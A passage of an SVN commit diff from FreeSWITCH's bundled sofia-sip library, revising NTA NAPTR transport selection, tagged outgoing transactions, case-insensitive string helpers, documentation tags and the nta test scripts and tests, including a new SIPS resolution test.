-      if (strcasecmp(na->na_services, sr->sr_tports[j]->service) != 0)
-	continue;
+    valid_tport = sr->sr_tport &&
+      su_casematch(na->na_services, sr->sr_tport->service);
 
-      tpn->tpn_proto = sr->sr_tports[j]->name;
-
-      if (tport_primary_by_name(agent->sa_tports, tpn))
-	break;
-    }
-
     SU_DEBUG_5(("nta: %s IN NAPTR %u %u \"%s\" \"%s\" \"%s\" %s%s\n",
 		na->na_record->r_name,
 		na->na_order, na->na_prefer,
 		na->na_flags, na->na_services,
 		na->na_regexp, na->na_replace,
-		!sr->sr_tports[j] ? " (not supported)" : ""));
+		order >= 0 && order != na->na_order ? " (out of order)" :
+		valid_tport ? "" : " (tport not used)"));
 
-    if (!sr->sr_tports[j])
+    /* RFC 2915 p 4:
+     * Order
+     *    A 16-bit unsigned integer specifying the order in which the
+     *    NAPTR records MUST be processed to ensure the correct ordering
+     *    of rules. Low numbers are processed before high numbers, and
+     *    once a NAPTR is found whose rule "matches" the target, the
+     *    client MUST NOT consider any NAPTRs with a higher value for
+     *    order (except as noted below for the Flags field).
+     */
+    if (order >= 0 && order != na->na_order)
       continue;
+    if (!valid_tport)
+      continue;
 
     /* OK, we found matching NAPTR */
     order = na->na_order;
@@ -10079,10 +10317,10 @@
     *tail = sq, tail = &sq->sq_next;
     sq->sq_otype = sres_type_naptr;
     sq->sq_priority = na->na_prefer;
-    sq->sq_weight = j;
+    sq->sq_weight = 1;
     sq->sq_type = type;
     sq->sq_domain = memcpy(sq + 1, na->na_replace, rlen);
-    sq->sq_proto = sr->sr_tports[j]->name;
+    sq->sq_proto = sr->sr_tport->name;
   }
 
   sres_free_answers(orq->orq_agent->sa_resolver, answers);
@@ -10112,6 +10350,49 @@
   outgoing_resolve_next(orq);
 }
 
+/* Find first supported protocol in order and preference */
+struct sipdns_tport const *
+outgoing_naptr_tport(nta_outgoing_t *orq, sres_record_t *answers[])
+{
+  int i, j, order, pref;
+  int orders[SIPDNS_TRANSPORTS], prefs[SIPDNS_TRANSPORTS];
+  struct sipdns_tport const *tport;
+
+  struct sipdns_resolver *sr = orq->orq_resolver;
+
+  for (j = 0; sr->sr_tports[j]; j++) {
+    tport = sr->sr_tports[j];
+
+    orders[j] = 65536, prefs[j] = 65536;
+
+    /* Find transport order */
+    for (i = 0; answers && answers[i]; i++) {
+      sres_naptr_record_t const *na = answers[i]->sr_naptr;
+      if (na->na_record->r_status)
+	continue;
+      if (na->na_record->r_type != sres_type_naptr)
+	continue;
+      /* Check if NAPTR matches transport */
+      if (!su_casematch(na->na_services, tport->service))
+	continue;
+      orders[j] = na->na_order;
+      prefs[j] = na->na_prefer;
+      break;
+    }
+  }
+
+  tport = sr->sr_tports[0], order = orders[0], pref = prefs[0];
+
+  for (j = 1; sr->sr_tports[j]; j++) {
+    if (orders[j] <= order && prefs[j] < pref) {
+      tport = sr->sr_tports[j], order = orders[j], pref = prefs[j];
+    }
+  }
+
+  return tport;
+}
+
+
 /* Query SRV records */
 static
 int outgoing_query_srv(nta_outgoing_t *orq,
@@ -10721,8 +11002,8 @@
 	irq->irq_method == sip_method_invite &&
 	strcmp(irq->irq_call_id->i_id, i->i_id) == 0 &&
 	(irq->irq_to->a_tag == NULL ||
-	 str0casecmp(irq->irq_to->a_tag, sip->sip_to->a_tag) == 0) &&
-	str0casecmp(irq->irq_from->a_tag, sip->sip_from->a_tag) == 0) {
+	 su_casematch(irq->irq_to->a_tag, sip->sip_to->a_tag)) &&
+	su_casematch(irq->irq_from->a_tag, sip->sip_from->a_tag)) {
 
       nta_reliable_t const *rel;
 
@@ -10844,10 +11125,12 @@
 
   irq->irq_in_callback = 0;
 
+  if (!timeout)
+    return;
+
   if (irq->irq_completed && irq->irq_destroyed)
     incoming_free(irq), irq = NULL;
-
-  if (timeout && irq && irq->irq_status < 200)
+  else if (irq->irq_status < 200)
     nta_incoming_treply(irq, 503, "Reliable Response Time-Out", TAG_END());
 }
 
@@ -11013,49 +11296,74 @@
 
   if (orq == NULL || to_tag == NULL)
     return NULL;
+
   if (orq->orq_to->a_tag) {
-    SU_DEBUG_1(("%s: transaction %p already in dialog\n", __func__,
-		(void *)orq));
+    SU_DEBUG_1(("%s: transaction %p (CSeq: %s %u) already in dialog\n", __func__,
+		(void *)orq, orq->orq_cseq->cs_method_name, orq->orq_cseq->cs_seq));
     return NULL;
   }
+  if (orq->orq_method != sip_method_invite) {
+    SU_DEBUG_1(("%s: transaction %p (CSeq: %s %u) cannot be tagged\n", __func__,
+		(void *)orq, orq->orq_cseq->cs_method_name, orq->orq_cseq->cs_seq));
+    return NULL;
+  }
+  if (orq->orq_status < 100) {
+    SU_DEBUG_1(("%s: transaction %p (CSeq: %s %u) still calling\n", __func__,
+		(void *)orq, orq->orq_cseq->cs_method_name, orq->orq_cseq->cs_seq));
+    return NULL;
+  }
 
   assert(orq->orq_agent); assert(orq->orq_request);
 
   agent = orq->orq_agent;
-  tagged = su_alloc(agent->sa_home, sizeof(*tagged));
+  tagged = su_zalloc(agent->sa_home, sizeof(*tagged));
+
   home = msg_home((msg_t *)orq->orq_request);
 
-  *tagged = *orq;
+  tagged->orq_hash = orq->orq_hash;
+  tagged->orq_agent = orq->orq_agent;
   tagged->orq_callback = callback;
   tagged->orq_magic = magic;
 
-  tagged->orq_prev = NULL, tagged->orq_next = NULL, tagged->orq_queue = NULL;
-  tagged->orq_rprev = NULL, tagged->orq_rnext = NULL;
-#if HAVE_SOFIA_SRESOLV
-  tagged->orq_resolver = NULL;
-#endif
+  tagged->orq_method = orq->orq_method;
+  tagged->orq_method_name = orq->orq_method_name;
+  tagged->orq_url = orq->orq_url;
+  tagged->orq_from = orq->orq_from;
 
-  if (tagged->orq_cc)
-    nta_compartment_ref(tagged->orq_cc);
-
   sip_to_tag(home, to = sip_to_copy(home, orq->orq_to), to_tag);
 
-  tagged->orq_to 	   = to;
-  tagged->orq_tport        = tport_ref(orq->orq_tport);
-  tagged->orq_request      = msg_ref_create(orq->orq_request);
-  tagged->orq_response     = msg_ref_create(orq->orq_response);
-  tagged->orq_cancel       = NULL;
+  tagged->orq_to = to;
+  tagged->orq_tag = to->a_tag;
+  tagged->orq_cseq = orq->orq_cseq;
+  tagged->orq_call_id = orq->orq_call_id;
 
-  tagged->orq_pending = tport_pend(orq->orq_tport,
-				   orq->orq_request,
-				   outgoing_tport_error,
-				   tagged);
-  if (tagged->orq_pending < 0)
-    tagged->orq_pending = 0;
+  tagged->orq_request = msg_ref_create(orq->orq_request);
+  tagged->orq_response = msg_ref_create(orq->orq_response);
 
-  tagged->orq_rseq = 0;
+  tagged->orq_status = orq->orq_status;
+  tagged->orq_via_added = orq->orq_via_added;
+  tagged->orq_prepared = orq->orq_prepared;
+  tagged->orq_reliable = orq->orq_reliable;
+  tagged->orq_sips = orq->orq_sips;
+  tagged->orq_uas = orq->orq_uas;
+  tagged->orq_pass_100 = orq->orq_pass_100;
+  tagged->orq_must_100rel = orq->orq_must_100rel;
+  tagged->orq_100rel = orq->orq_100rel;
+  tagged->orq_route = orq->orq_route;
+  *tagged->orq_tpn = *orq->orq_tpn;
+  tagged->orq_tport = tport_ref(orq->orq_tport);
+  if (orq->orq_cc)
+    tagged->orq_cc = nta_compartment_ref(orq->orq_cc);
+  tagged->orq_branch = orq->orq_branch;
+  tagged->orq_via_branch = orq->orq_via_branch;
 
-  outgoing_queue(orq->orq_queue, tagged);
+  if (tagged->orq_uas) {
+    tagged->orq_forking = orq;
+    tagged->orq_forks = orq->orq_forks;
+    tagged->orq_forked = 1;
+    orq->orq_forks = tagged;
+  }
+
   outgoing_insert(agent, tagged);
 
   return tagged;
@@ -11146,8 +11454,8 @@
 		  __func__, resp->sip_status->st_status));
       return NULL;
     }
-    if (str0casecmp(resp->sip_to->a_tag, leg->leg_remote->a_tag) ||
-	str0casecmp(resp->sip_to->a_tag, oorq->orq_to->a_tag)) {
+    if (su_strcasecmp(resp->sip_to->a_tag, leg->leg_remote->a_tag) ||
+	su_strcasecmp(resp->sip_to->a_tag, oorq->orq_to->a_tag)) {
       SU_DEBUG_1(("%s: %u response To tag does not agree with dialog tag\n",
 		  __func__, resp->sip_status->st_status));
       return NULL;
@@ -11256,6 +11564,16 @@
 
 #include <sofia-sip/nta_tport.h>
 
+/** Return the master transport for the agent.
+ *
+ * @NEW_1_12_11
+ */
+tport_t *
+nta_agent_tports(nta_agent_t *agent)
+{
+  return agent ? agent->sa_tports : NULL;
+}
+
 su_inline tport_t *
 nta_transport_(nta_agent_t *agent,
 	       nta_incoming_t *irq,
@@ -11425,10 +11743,8 @@
 /** Initiate STUN keepalive controller to TPORT */
 int nta_tport_keepalive(nta_outgoing_t *orq)
 {
-  tport_t *tp;
+  assert(orq);
 
-  assert(orq); (void)tp;
-
 #if HAVE_SOFIA_STUN
   return tport_keepalive(orq->orq_tport, msg_addrinfo(orq->orq_request),
 			 TAG_END());

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/nta/nta_check.c (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/nta/nta_check.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/nta/nta_check.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -219,14 +219,14 @@
   if (sip->sip_payload == NULL)
     return 0;
 
-  if (cd == NULL || strcasecmp(cd->cd_type, "session") == 0) {
+  if (cd == NULL || su_casematch(cd->cd_type, "session")) {
     sip_accept_t const *ab = session_accepts;
     char const *c_type;
 
     if (c)
       c_type = c->c_type;
     else if (sip->sip_payload->pl_len > 3 &&
-	     strncasecmp(sip->sip_payload->pl_data, "v=0", 3) == 0)
+	     su_casenmatch(sip->sip_payload->pl_data, "v=0", 3))
       /* Missing Content-Type, but it looks like SDP  */
       c_type = application_sdp;
     else
@@ -234,7 +234,7 @@
       ab = NULL, c_type = NULL;
 
     for (; ab; ab = ab->ac_next) {
-      if (strcasecmp(c_type, ab->ac_type) == 0)
+      if (su_casematch(c_type, ab->ac_type))
 	break;
     }
 
@@ -311,7 +311,7 @@
 			   method == sip_method_prack ||
 			   method == sip_method_update)) {
     for (ab = acceptable; ab; ab = ab->ac_next)
-      if (strcasecmp(application_sdp, ab->ac_type) == 0) {
+      if (su_casematch(application_sdp, ab->ac_type)) {
 	if (return_acceptable) *return_acceptable = ab;
 	return 0;
       }
@@ -322,7 +322,7 @@
       continue;
 
     for (ab = acceptable; ab; ab = ab->ac_next)
-      if (strcasecmp(ac->ac_type, ab->ac_type) == 0) {
+      if (su_casematch(ac->ac_type, ab->ac_type)) {
 	if (return_acceptable) *return_acceptable = ab;
 	return 0;
       }

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/nta/nta_internal.h (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/nta/nta_internal.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/nta/nta_internal.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -47,7 +47,6 @@
 #if HAVE_SOFIA_SRESOLV
 #include <sofia-sip/sresolv.h>
 #endif
-#include <sofia-sip/htable.h>
 
 typedef struct nta_compressor nta_compressor_t;
 

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/nta/nta_tag.c (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/nta/nta_tag.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/nta/nta_tag.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -418,6 +418,7 @@
  * @par Values
  *    - Maximum acceptable size of a queue (size_t).
  *
+ * @NEW_1_12_9
  */
 tag_typedef_t ntatag_max_proceeding = USIZETAG_TYPEDEF(max_proceeding);
 
@@ -633,7 +634,7 @@
  *    instead if NTATAG_TIMER_C(0) is given.
  *
  * @par Default Value
- *   - 180000 (milliseconds, 3 minutes)
+ *   - 185000 (milliseconds, 3 minutes)
  *
  * @sa @RFC3261 sections 13.3.1.1, 16.7 and 16.8,
  * NTATAG_UA(1), NTATAG_TIMER_C(),
@@ -665,6 +666,8 @@
  *    - 600 (graylist server for 10 minutes)
  *
  * @sa NTATAG_BLACKLIST(), NTATAG_TIMEOUT_408()
+ *
+ * @NEW_1_12_8
  */
 tag_typedef_t ntatag_graylist = UINTTAG_TYPEDEF(graylist);
 
@@ -964,9 +967,17 @@
  * to a request within half of the SIP T2 (the default value for T2 is 4000
  * milliseconds, so the extra <i>100 Trying</i> would be sent after 2 seconds).
  *
+ * At agent level, this option applies to retransmissions of both non-INVITE
+ * and INVITE transactions.
+ *
+ * At incoming request level, this option can disable sending the 100 Trying for
+ * both retransmissions (if set at agent level) and N1 firings, for just a given
+ * incoming request.
+ *
  * @par Used with
  *    nua_create(), nua_set_params(),
- *    nta_agent_create(), nta_agent_set_params()
+ *    nta_agent_create(), nta_agent_set_params(),
+ *    nta_incoming_set_params()
  *
  * @par Parameter type
  *    boolean: true (non-zero or non-NULL pointer)
@@ -976,9 +987,12 @@
  *    - true - send extra 100 Trying if application does not respond
  *    - false - do not send 100 Trying
  *
- * @par Default Value
+ * @par Default Value at Agent level
  *    - 0 (false, do not respond with 100 Trying to retransmissions)
-
+ *
+ * @par Default Value at incoming transaction level
+ *    - 1 (true, respond with 100 Trying to retransmissions and when N1 fired)
+ *
  * @sa @RFC4320, NTATAG_PASS_408(), NTATAG_TIMEOUT_408()
  */
 tag_typedef_t ntatag_extra_100 = BOOLTAG_TYPEDEF(extra_100);
@@ -1334,6 +1348,8 @@
  *    - 0 - do not use "rport" parameter
  *
  * @sa @RFC3581, NTATAG_CLIENT_RPORT(), NTATAG_TCP_RPORT(), NTATAG_TLS_RPORT(), @Via
+ *
+ * @since Tag type and NTATAG_SERVER_RPORT(2) was added in @VERSION_1_12_9.
  */
 tag_typedef_t ntatag_server_rport = INTTAG_TYPEDEF(server_rport);
 
@@ -1376,6 +1392,8 @@
  *      on client side
  *
  * @sa @RFC3581, NTATAG_CLIENT_RPORT(), NTATAG_SERVER_RPORT(), @Via
+ *
+ * @NEW_1_12_10
  */
 tag_typedef_t ntatag_tls_rport = BOOLTAG_TYPEDEF(tls_rport);
 

Copied: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/nta/run_check_nta (from rev 14471, freeswitch/trunk/libs/sofia-sip/libsofia-sip-ua/nta/run_check_nta) (0 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/nta/run_check_nta	                        (rev 0)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/nta/run_check_nta	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,2 @@
+#!/bin/sh
+$VALGRIND exec ./check_nta "$@"
\ No newline at end of file

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/nta/run_test_nta (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/nta/run_test_nta	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/nta/run_test_nta	2009-08-09 18:53:22 UTC (rev 14472)
@@ -69,6 +69,7 @@
 port=$(./portbind $v6flag $((port + 1))) down=$port
 port=$(./portbind $v6flag $((port + 1))) bind=$port
 port=$(./portbind $v6flag $((port + 1))) contact=$port
+port=$(./portbind $v6flag $((port + 1))) sips=$port
 
 # Disable IPv6 resolver for now
 if false && eval $ipv6 ; then
@@ -125,11 +126,11 @@
 	A	127.0.0.1
 
 _sip._udp	SRV 1 100 $contact me
-_sips._tcp	SRV 3 100 $contact me
+_sips._tcp	SRV 3 100 $sips me
 _sip._tcp	SRV 2 100 $contact me
 
 _sip._udp.srv	SRV 1 100 $contact a
-_sips._tcp.srv	SRV 3 100 $contact a
+_sips._tcp.srv	SRV 3 100 $sips a
 _sip._tcp.srv	SRV 2 100 $contact $aaaa
 
 _sip._udp.srv2	SRV 1 200 $contact c
@@ -155,10 +156,15 @@
 nona   NAPTR 20 15 "S" "ZIP+D2U" "" a2
 _sip._udp.nona   SRV 1 10 $contact ip4
 
-; No SIP SRV match
+; First SIP SRV is not found
 nosrv	NAPTR 20 1 "s" "SIP+D2U" "" _sip._udp.nosrv
-        NAPTR 20 2 "s" "SIP+D2U" "" _sip._udp.srv
+	NAPTR 20 2 "s" "SIP+D2T" "" _sip._tcp.nosrv
+        NAPTR 20 3 "s" "SIP+D2U" "" _sip._udp.srv
+	NAPTR 20 4 "s" "SIP+D2T" "" _sip._tcp.srv
 
+; Redirect with TLS
+
+
 ; This fails (and we get 503)
 a2	A	127.0.0.2
 
@@ -188,7 +194,7 @@
 # -g is also very nice option for named
 named -f -c $namedfile &
 pid=$!
-while ! test -r $pidfile && kill -0 $!
+while ! test -r $pidfile && kill -0 $! 2>/dev/null
 do
     sleep 1
 done
@@ -198,6 +204,8 @@
     sink=$sink down=$down \
     ipv6=$ipv6 \
     SIPCONTACT="sip:*:$contact;comp=sigcomp" \
+    SIPSCONTACT="sips:*:$sips;comp=sigcomp" \
+    TEST_NTA_CERTDIR=$srcdir/../tport/ \
     $VALGRIND ./test_nta "$@" - $resolvfile
     exit=$?
     kill $(cat $pidfile)
@@ -205,12 +213,10 @@
     exit $exit
 else
     echo "$0: cannot start named (check apparmor/selinux)"
-    exit 77
+    ipv6=$ipv6 $VALGRIND exec ./test_nta "$@"
 fi
 
 else # not having BIND and portbind
-
-ipv6=$ipv6 $VALGRIND ./test_nta "$@"
-exit $?
+    ipv6=$ipv6 $VALGRIND exec ./test_nta "$@"
 fi
 

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/nta/sl_utils_log.c (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/nta/sl_utils_log.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/nta/sl_utils_log.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -237,8 +237,8 @@
     log = su_log_default;
 
   while (s < end && *s != '\0') {
-    size_t n = strncspn(s, end - s, "\r\n");
-    size_t crlf = strnspn(s + n, end - s - n, "\r\n");
+    size_t n = su_strncspn(s, end - s, "\r\n");
+    size_t crlf = su_strnspn(s + n, end - s - n, "\r\n");
     if (n < 70) {
       memcpy(line, s, n);
       line[n] = '\0';

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/nta/sl_utils_print.c (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/nta/sl_utils_print.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/nta/sl_utils_print.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -214,12 +214,12 @@
   size_t n, total = 0, crlf = 1;
 
   while (s < end && *s != '\0') {
-    n = strncspn(s, end - s, "\r\n");
-    crlf = strnspn(s + n, end - s - n, "\r\n");
+    n = su_strncspn(s, end - s, "\r\n");
+    crlf = su_strnspn(s + n, end - s - n, "\r\n");
     if (prefix)
       fputs(prefix, stream), total += strlen(prefix);
-	if (fwrite(s, 1, n + crlf, stream) < 0)
-		return -1;
+    if (fwrite(s, 1, n + crlf, stream) < n + crlf)
+      return (issize_t)-1;
     s += n + crlf;
     total += n + crlf;
   }

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/nta/sofia-sip/nta.h (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/nta/sofia-sip/nta.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/nta/sofia-sip/nta.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -216,12 +216,15 @@
 /** Get remote request sequence number. @NEW_1_12_9 */
 SOFIAPUBFUN uint32_t nta_leg_get_rseq(nta_leg_t const *leg);
 
-/** Set UAC route. */
 SOFIAPUBFUN int nta_leg_client_route(nta_leg_t *leg,
 				     sip_record_route_t const *route,
 				     sip_contact_t const *contact);
 
-/** Set UAS route */
+SOFIAPUBFUN int nta_leg_client_reroute(nta_leg_t *leg,
+				       sip_record_route_t const *route,
+				       sip_contact_t const *contact,
+				       int initial);
+
 SOFIAPUBFUN int nta_leg_server_route(nta_leg_t *leg,
 				     sip_record_route_t const *route,
 				     sip_contact_t const *contact);
@@ -390,6 +393,8 @@
 SOFIAPUBFUN int nta_outgoing_bind(nta_outgoing_t *orq,
 				  nta_response_f *callback,
 				  nta_outgoing_magic_t *magic);
+SOFIAPUBFUN nta_outgoing_magic_t *nta_outgoing_magic(nta_outgoing_t const *orq,
+						     nta_response_f *callback);
 SOFIAPUBFUN int nta_outgoing_status(nta_outgoing_t const *orq);
 SOFIAPUBFUN sip_method_t nta_outgoing_method(nta_outgoing_t const *orq);
 SOFIAPUBFUN char const *nta_outgoing_method_name(nta_outgoing_t const *orq);

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/nta/sofia-sip/nta_tport.h (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/nta/sofia-sip/nta_tport.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/nta/sofia-sip/nta_tport.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -59,6 +59,8 @@
 
 #define nta_transport nta_incoming_transport
 
+SOFIAPUBFUN tport_t *nta_agent_tports(nta_agent_t *agent);
+
 SOFIAPUBFUN
 tport_t *nta_incoming_transport(nta_agent_t *, nta_incoming_t *, msg_t *msg);
 

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/nta/sofia-sip/sl_utils.h (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/nta/sofia-sip/sl_utils.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/nta/sofia-sip/sl_utils.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -38,7 +38,7 @@
 #include <stdio.h>
 
 #ifndef STRING0_H
-#include <sofia-sip/string0.h>
+#include <sofia-sip/su_string.h>
 #endif
 
 #ifndef SIP_H

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/nta/test_nta.c (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/nta/test_nta.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/nta/test_nta.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -62,7 +62,7 @@
 #include <sofia-sip/hostdomain.h>
 #include <sofia-sip/tport.h>
 
-#include <sofia-sip/string0.h>
+#include <sofia-sip/su_string.h>
 
 #include <stddef.h>
 #include <stdlib.h>
@@ -72,6 +72,8 @@
 #include <assert.h>
 #include <unistd.h>
 
+#include "s2util.h"
+
 #if HAVE_OPEN_C
 #include <sys/param.h>
 #endif
@@ -93,7 +95,7 @@
 
 #define NONE ((void *)-1)
 
-int expensive_checks;
+int expensive_checks, test_nta_sips;
 
 #define EXPENSIVE_CHECKS (expensive_checks)
 
@@ -501,6 +503,17 @@
 }
 
 static
+void fast_final_received(client_t *c)
+{
+  for (c->c_final = 0; !c->c_final; ) {
+    if (tstflags & tst_verbatim) {
+      fputs(".", stdout); fflush(stdout);
+    }
+    s2_fast_forward(500, c->c_ag->ag_root);
+  }
+}
+
+static
 int client_run(client_t *c, int expected)
 {
   return client_run_with(c, expected, until_final_received);
@@ -530,7 +543,7 @@
 {
   agent_t *ag = c->c_ag;
 
-  for (ag->ag_canceled = 0; !ag->ag_canceled;) {
+  for (ag->ag_canceled = 0; !ag->ag_canceled || c->c_status < 200;) {
     if (tstflags & tst_verbatim) {
       fputs(".", stdout); fflush(stdout);
     }
@@ -564,7 +577,7 @@
   TEST_1(ag->ag_mclass);
 
 #if SU_HAVE_IN6
-  if (str0cmp(getenv("ipv6"), "true") == 0) {
+  if (su_strmatch(getenv("ipv6"), "true")) {
     contact = "sip:[::]:*;comp=sigcomp";
     af = AF_INET6, sulen0 = sizeof (struct sockaddr_in6);
   }
@@ -622,6 +635,15 @@
 				  TAG_END());
   TEST_1(ag->ag_agent);
 
+  contact = getenv("SIPSCONTACT");
+  if (contact) {
+    if (nta_agent_add_tport(ag->ag_agent, URL_STRING_MAKE(contact),
+			    TPTAG_CERTIFICATE(getenv("TEST_NTA_CERTDIR")),
+			    TPTAG_TLS_VERIFY_POLICY(TPTLS_VERIFY_NONE),
+			    TAG_END()) == 0)
+      test_nta_sips = 1;
+  }
+
   {
     /* Initialize our headers */
     sip_from_t from[1];
@@ -1075,22 +1097,22 @@
   TEST_1(v = nta_agent_via(ag->ag_agent));
 
   for (; v; v = v->v_next) {
-    if (strcasecmp(v->v_protocol, sip_transport_udp) == 0) {
+    if (su_casematch(v->v_protocol, sip_transport_udp)) {
       if (udp)
 	v_udp_only = v;
       udp = 1;
       if (udp_comp == NULL)
 	udp_comp = v->v_comp;
     }
-    else if (strcasecmp(v->v_protocol, sip_transport_tcp) == 0) {
+    else if (su_casematch(v->v_protocol, sip_transport_tcp)) {
       tcp = 1;
       if (tcp_comp == NULL)
 	tcp_comp = v->v_comp;
     }
-    else if (strcasecmp(v->v_protocol, sip_transport_sctp) == 0) {
+    else if (su_casematch(v->v_protocol, sip_transport_sctp)) {
       sctp = 1;
     }
-    else if (strcasecmp(v->v_protocol, sip_transport_tls) == 0) {
+    else if (su_casematch(v->v_protocol, sip_transport_tls)) {
       tls = 1;
     }
   }
@@ -1454,7 +1476,7 @@
     TEST_P(ag->ag_latest_leg, ag->ag_default_leg);
 
     TEST_1(ag->ag_in_via);
-    TEST_1(strcasecmp(ag->ag_in_via->v_protocol, "SIP/2.0/UDP") == 0);
+    TEST_1(su_casematch(ag->ag_in_via->v_protocol, "SIP/2.0/UDP"));
     su_free(ag->ag_home, ag->ag_in_via), ag->ag_in_via = NULL;
   }
 
@@ -1616,15 +1638,8 @@
     url_t url[1];
     client_t ctx[1] = {{ ag, "Test 0.9" }};
 
-    printf("%s: starting MESSAGE timeout test, completing in 4 seconds\n",
-	   name);
-
     nta_agent_set_params(ag->ag_agent,
 			 NTATAG_TIMEOUT_408(1),
-			 NTATAG_SIP_T1(25),
-			 NTATAG_SIP_T1X64(64 * 25),
-			 NTATAG_SIP_T2(8 * 25),
-			 NTATAG_SIP_T4(10 * 25),
 			 TAG_END());
 
     *url = *ag->ag_aliases->m_url;
@@ -1644,14 +1659,10 @@
 			   SIPTAG_CONTACT(ag->ag_m_bob),
 			   TAG_END());
 
-    TEST_1(!client_run(ctx, 408));
+    TEST_1(!client_run_with(ctx, 408, fast_final_received));
     TEST_P(ag->ag_latest_leg, NULL);
 
     nta_agent_set_params(ag->ag_agent,
-			 NTATAG_SIP_T1(500),
-			 NTATAG_SIP_T1X64(64 * 500),
-			 NTATAG_SIP_T2(NTA_SIP_T2),
-			 NTATAG_SIP_T4(NTA_SIP_T4),
 			 TAG_END());
   }
 
@@ -1787,13 +1798,13 @@
 
   TEST_1(v = nta_agent_via(ag->ag_agent));
   for (; v; v = v->v_next) {
-    if (strcasecmp(v->v_protocol, sip_transport_udp) == 0)
+    if (su_casematch(v->v_protocol, sip_transport_udp))
       udp = 1;
-    else if (strcasecmp(v->v_protocol, sip_transport_tcp) == 0)
+    else if (su_casematch(v->v_protocol, sip_transport_tcp))
       tcp = 1;
-    else if (strcasecmp(v->v_protocol, sip_transport_sctp) == 0)
+    else if (su_casematch(v->v_protocol, sip_transport_sctp))
       sctp = 1;
-    else if (strcasecmp(v->v_protocol, sip_transport_tls) == 0)
+    else if (su_casematch(v->v_protocol, sip_transport_tls))
       tls = 1;
   }
 
@@ -2121,6 +2132,27 @@
     url->url_params = NULL;
   }
 
+  if (test_nta_sips) {
+    /* Test 1.8 - Send a message to sips:example.org
+     *
+     * Tests sf.net bug #1292657 (SIPS resolving with NAPTR).
+     */
+    client_t ctx[1] = {{ ag, "Test 1.8" }};
+    ag->ag_expect_leg = ag->ag_default_leg;
+    ctx->c_orq =
+      nta_outgoing_tcreate(ag->ag_default_leg, outgoing_callback, ctx,
+			   ag->ag_obp,
+			   SIP_METHOD_MESSAGE,
+			   (url_string_t *)"sips:example.org",
+			   SIPTAG_SUBJECT_STR(ctx->c_name),
+			   SIPTAG_FROM(ag->ag_alice),
+			   SIPTAG_TO(ag->ag_bob),
+			   SIPTAG_CONTACT(ag->ag_m_alice),
+			   TAG_END());
+    TEST_1(!client_run(ctx, 200));
+    TEST_P(ag->ag_latest_leg, ag->ag_default_leg);
+  }
+
   nta_agent_set_params(ag->ag_agent,
 		       NTATAG_SIP_T1(500),
 		       NTATAG_SIP_T1X64(64 * 500),
@@ -3612,8 +3644,9 @@
 				SIPTAG_PAYLOAD(sdp),
 				TAG_END()));
 
-    /* Run until 1) server gets CANCEL and 2) client gets 408 */
-    TEST_1(!client_run_until_canceled(ctx, 408));
+    /* Run until 1) server gets CANCEL and 2) client gets 487 */
+    /* Note: this has been changed in 1.12.11 */
+    TEST_1(!client_run_until_canceled(ctx, 487));
 
     TEST_1(ag->ag_canceled != 0);
     TEST_P(ag->ag_latest_leg, ag->ag_server_leg);
@@ -3957,6 +3990,9 @@
     retval |= test_prack(ag); SINGLE_FAILURE_CHECK();
     retval |= test_fix_467(ag); SINGLE_FAILURE_CHECK();
   }
+
+  s2_fast_forward(64000, ag->ag_root);
+
